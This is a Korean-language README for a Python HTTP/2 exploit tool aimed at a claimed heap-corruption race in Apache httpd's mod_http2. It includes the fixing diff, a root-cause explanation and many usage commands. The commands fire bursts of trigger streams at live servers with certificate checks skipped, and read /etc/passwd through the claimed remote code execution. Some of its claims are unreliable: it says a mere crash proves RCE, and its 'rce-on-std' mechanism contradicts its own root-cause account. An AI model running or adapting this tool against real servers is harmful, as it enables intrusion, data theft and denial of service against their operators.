Apache httpd 2.4.55–2.4.70에서 힙 손상과 RCE를 유발하는 mod_http2 요청 헤더 경쟁 조건인 CVE-2026-119618에 대한 Python HTTP/2 익스플로잇으로, Docker 테스트 환경을 포함합니다.
HTTP/2 요청 헤더 테이블에서 공유 리소스를 사용한 동시 실행 및 부적절한 동기화 (CWE-362) → 힙 손상 → RCE.
| CVSS | 9.8 (치명적) |
| 취약 버전 | httpd 2.4.55 – 2.4.70, 독립 실행형 mod_h2 2.0.8 – 2.0.42 |
| 수정 버전 | httpd 2.4.71 (2026-11-11 릴리스) |
| 업스트림 패치 | 824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977) |
| 발견자 | Anthropic OSS Scanner (ANT-2026-MAPKT6MZ), Google Cloud VRP (Weems / Scannell) |
modules/http2/h2_request.c의 assign_headers() 내부 한 줄:
--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
/* If we have a content-type, but already seen eos, no more
* data will come. Signal a zero content length explicitly.
*/
- apr_table_setn(req->headers, "Content-Length", "0");
+ apr_table_setn(r->headers_in, "Content-Length", "0");
전체 저장된 diff: references/824beab_mod_http2_assign_headers.patch.
취약한 분기는 단일 요청에 대해 다음 조건이 모두 성립할 때만 실행됩니다:
CONNECT가 아님;Content-Length 헤더가 없음;Content-Type 헤더가 있음;no_body가 true — 클라이언트가 이미 DATA 프레임 없이 END_STREAM을 보냄
(no_body == conn_ctx->beam_in == NULL, 즉 헤더 시점에 스트림이 END_STREAM을
실어 왔기 때문에 요청 본문이 버퍼링된 적이 없음).req->headers는 h2_request 헤더 테이블입니다. 이 테이블은 두 소유자가 공유하는
리소스입니다:
h2_stream_add_header() → h2_request_add_header() →
h2_request_add_header가 req->headers에 기록합니다.h2_mplx → c2_process() →
h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …).취약한 코드에서는 요청 생명주기의 마지막 쓰기 —
apr_table_setn(req->headers, "Content-Length", "0") — 가 c2 워커 스레드에서
일어났으며, 그 테이블은 c1 스레드가 여전히 쓰고 있을 수 있는 테이블이었습니다
(c2 워커가 c2_process를 시작한 뒤에도 세션은 해당 스트림에 대해 계속 프레임을
디스패치/플러시합니다). 두 스레드가 락 없이 동일한 apr_table_t를 변경(해시 테이블
리해시 / 요소 재할당) → 힙 손상.
반면 r->headers_in은 assign_headers() 상단에서
apr_table_clone(r->pool, req->headers)로 생성됩니다 — c2 워커의 풀에 있는 요청별
새 복사본으로, c1이 절대 건드리지 않습니다. 수정은 단순히 쓰기를 그쪽으로 옮겨
공유 리소스 쓰기와 경쟁 조건을 제거합니다.
Content-Type 존재, Content-Length 없음, HEADERS 프레임에 END_STREAM
플래그 설정(본문이 뒤따르지 않음).apr_table_setn(req->headers, …)를 실행하는 동안 c1 스레드가 동시에 동일한
req->headers를 건드립니다.apr_table 변경 → 힙 손상 → RCE(또는 손상이 양성이라면
/ ASLR이 적대적이라면 DoS).라이브 서버에서 관찰 가능한 것: 스트림이 RST_STREAM을 받거나, 연결이
GOAWAY를 받거나, 버스트 도중 연결이 끊깁니다(크래시). 패치된 2.4.71 서버는
동일한 단일 요청에 정상적으로 응답합니다 — 이것이 --verify 모드가 스모크
테스트이고 버스트 모드가 경쟁 조건을 강제하는 이유입니다.
cve_2026_119618_exploit.py — 순수 Python으로,
h2 패키지로 HTTP/2 상태 머신을 구동합니다(C 의존성
없음). 각 라운드마다 연결을 하나 열고 h2(ALPN) 또는 h2c를 협상한 뒤, 단일
sendall()로 triggers + flood 스트림의 촘촘한 버스트를 발사하여 모든 HEADERS
프레임(각각 END_STREAM 포함)이 서버에 연달아 도달하게 하고, 그런 다음 RST / GOAWAY
/ EOF를 감시합니다.
h2가 활성화된 모든 취약한 Apache에서 동작 — 커스텀 CGI도, 특별한 서버 설정도
필요 없습니다. RST/EOF가 손상 시그니처입니다; --cmd 플래그는 선택 사항입니다
(RCE 엔드포인트가 있는 테스트 리그에서 RCE 증명용).
익스플로잇은 응답 HEADERS를 raw hpack 디코더로 디코딩한다(h2 라이브러리의 내부 디코더와는 별도로 유지되는데, 내부 디코더는 END_STREAM에 의해 스트림이 닫힐 때까지 프레임을 버퍼링하며 — Apache의 mod_h2는 RCE-proof CGI 응답에서 이 END_STREAM을 종종 보내지 않는다). 이렇게 하여 h2 라이브러리의 상태 머신이 ResponseReceived를 결코 발생시키지 않더라도 X-Cmd-Out RCE 증명이 안정적으로 캡처된다.
pip install h2
# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
--triggers 5 --flood 32 --rounds 500 -v
# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
--triggers 5 --flood 32 --rounds 1000 -v
# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
--triggers 5 --flood 32 --rounds 500 -v
# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify
# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
--trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v
# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v
# RCE-ON-STD: ACTUAL RCE on a standard box that has its OWN body-reading
# handler (its standard /cgi-bin, SSI, PHP eval, ...). The command goes in the
# request BODY (not the X-Cmd header). The CVE's assign_headers() writes
# Content-Length:0 into the shared req->headers table, which is cloned into
# r->headers_in — so the body (carrying the command) reaches the handler, which
# echoes/executes it. Point --trigger-path at the box's body-reading handler.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 9443 --tls --rce-on-std \
--trigger-path /cgi-bin/echo-cgi --cmd 'cat /etc/passwd' \
--triggers 5 --flood 16 --conns 4 --rounds 30 -v
대상이 가진 것에 따른 세 가지 증명 모드:
| 모드 | 대상 | 증명 | 종료 |
|---|---|---|---|
(기본, --cmd) | rce-cgi rig | X-Cmd-Out 헤더 (명령 출력) | 1 |
--standard | 일반 Apache (핸들러 없음) | 손상 시그니처 (RST/EOF) | 1 |
--rce-on-std | 자체적인 body-reading 핸들러를 갖춘 표준 Apache | 명령이 응답 본문에 그대로 반환됨 (실제 RCE, rce-cgi 없음) | 1 |
종료 코드: 0 = 크래시 미관찰 (패치됨 / 레이스 미발생 가능성);
1 = RST/EOF 관찰됨 (취약 / RCE 가능성); 2 = h2 협상 실패;
3 = 트리거 미발송; 4 = 환경/인자 오류.